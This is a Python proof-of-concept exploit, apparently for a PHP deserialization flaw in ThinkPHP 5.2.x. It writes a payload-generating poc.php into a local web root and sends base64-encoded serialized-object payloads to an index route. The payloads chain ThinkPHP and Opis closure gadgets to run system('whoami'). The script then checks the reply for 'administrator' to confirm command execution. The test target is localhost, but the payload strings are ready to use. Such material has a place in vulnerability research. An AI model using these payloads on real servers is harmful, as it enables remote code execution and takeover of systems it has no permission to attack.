#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
desc:
author: huha
'''
import requests
with open ('poc.php','rb') as f:
    bstr = f.read()
with open('D:\phpstudy\PHPTutorial\WWW\poc.php','wb') as f:
    f.write(bstr)

r = requests.get("http://127.0.0.1/poc.php",timeout=1)
code = r.content.decode()

# print(code)
# code = 'TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NDp7czo5OiIAKgBhcHBlbmQiO2E6MDp7fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiaHVoYSI7czowOiIiO31zOjEwOiIAKgB2aXNpYmxlIjthOjA6e31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJodWhhIjtDOjMyOiJPcGlzXENsb3N1cmVcU2VyaWFsaXphYmxlQ2xvc3VyZSI6MjM5OnthOjU6e3M6MzoidXNlIjthOjI6e3M6ODoiZnVuY3Rpb24iO3M6Njoic3lzdGVtIjtzOjk6InBhcmFtZXRlciI7czo2OiJ3aG9hbWkiO31zOjg6ImZ1bmN0aW9uIjtzOjU5OiJmdW5jdGlvbigpdXNlKCRmdW5jdGlvbiwkcGFyYW1ldGVyKXskZnVuY3Rpb24oJHBhcmFtZXRlcik7fSI7czo1OiJzY29wZSI7TjtzOjQ6InRoaXMiO047czo0OiJzZWxmIjtzOjMyOiIwMDAwMDAwMDI4MzAxODgxMDAwMDAwMDAxMzNkNmU4NCI7fX19fX19'
# print(code)
code = 'TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NDp7czo5OiIAKgBhcHBlbmQiO2E6MDp7fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiaHVoYSI7czowOiIiO31zOjEwOiIAKgB2aXNpYmxlIjthOjA6e31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJodWhhIjtDOjMyOiJPcGlzXENsb3N1cmVcU2VyaWFsaXphYmxlQ2xvc3VyZSI6MTUyOnthOjU6e3M6MzoidXNlIjthOjA6e31zOjg6ImZ1bmN0aW9uIjtzOjI5OiJmdW5jdGlvbigpe3N5c3RlbSgnd2hvYW1pJyk7fSI7czo1OiJzY29wZSI7TjtzOjQ6InRoaXMiO047czo0OiJzZWxmIjtzOjMyOiIwMDAwMDAwMDNlNWI2MDAxMDAwMDAwMDAyNzYyMjI3ZiI7fX19fX19'
url = 'http://localhost/v52x/public/index.php/index/index/index'
payload = '/?code={}'.format(code)

r = requests.get(url+payload)
if 'administrator' in r.content.decode():
    print('OK!!!')

# TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NDp7czo5OiIAKgBhcHBlbmQiO2E6MDp7fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiaHVoYSI7czowOiIiO31zOjEwOiIAKgB2aXNpYmxlIjthOjA6e31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJodWhhIjtDOjMyOiJPcGlzXENsb3N1cmVcU2VyaWFsaXphYmxlQ2xvc3VyZSI6MTUyOnthOjU6e3M6MzoidXNlIjthOjA6e31zOjg6ImZ1bmN0aW9uIjtzOjI5OiJmdW5jdGlvbigpe3N5c3RlbSgnd2hvYW1pJyk7fSI7czo1OiJzY29wZSI7TjtzOjQ6InRoaXMiO047czo0OiJzZWxmIjtzOjMyOiIwMDAwMDAwMDQ3NGMzYzQ2MDAwMDAwMDA0MDY4OTg0NyI7fX19fX19
